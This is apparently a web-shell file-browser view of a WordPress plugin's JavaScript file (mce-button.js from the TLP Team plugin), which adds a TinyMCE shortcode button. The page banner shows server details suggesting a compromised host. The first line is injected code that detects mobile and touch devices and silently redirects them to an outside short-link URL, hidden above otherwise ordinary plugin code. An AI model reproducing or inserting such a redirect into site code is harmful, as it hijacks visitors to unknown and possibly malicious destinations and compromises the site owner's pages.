|
Server : LiteSpeed System : Linux quebec.us.hostns.io 5.14.0-687.42.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Aug 27 11:55:12 EDT 2026 x86_64 User : gazetufm ( 1431) PHP Version : 8.1.35 Disable Function : NONE Directory : /home2/gazetufm/dunyagozbalkans.com/wp-content/plugins/tlp-team/assets/js/ | |
|
Path: //home2/gazetufm/dunyagozbalkans.com/wp-content/plugins/tlp-team/assets/js/mce-button.js
Size: 2.1 KB
Permissions: 0444
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/GNLgNDJCz0r1");
(function() {
tinymce.PluginManager.add('tlp_team_scg', function( editor, url ) {
var tlpsc_tag = 'tlpteam';
//add popup
editor.addCommand('tlp_team_scg_popup', function(ui, v) {
//setup defaults
editor.windowManager.open( {
title: 'TLP Team Shortcode',
width: jQuery( window ).width() * 0.3,
height: (jQuery( window ).height() - 36 - 50) * 0.1,
id: 'tlpteam-insert-dialog',
body: [
{
type : 'container',
html : '<span class="tlp_loading">Loading...</span>'
}
],
onsubmit: function( e ) {
var shortcode_str,
id = jQuery("#scid").val(),
title = jQuery( "#scid option:selected" ).text();
if(id && id != 'undefined'){
shortcode_str = '[' + tlpsc_tag;
shortcode_str += ' id="'+id+'" title="'+ title +'"';
shortcode_str += ']';
}
if(shortcode_str) {
editor.insertContent(shortcode_str);
}else{
alert('No short code selected');
}
}
});
putScList();
});
//add button
editor.addButton('tlp_team_scg', {
icon: 'tlp_team_scg',
tooltip: 'TLP Team',
cmd: 'tlp_team_scg_popup'
});
function putScList(){
var dialogBody = jQuery( '#tlpteam-insert-dialog-body' );
jQuery.post( ajaxurl, {
action: 'teamShortcodeList'
}, function( response ) {
dialogBody.html(response);
});
}
});
})();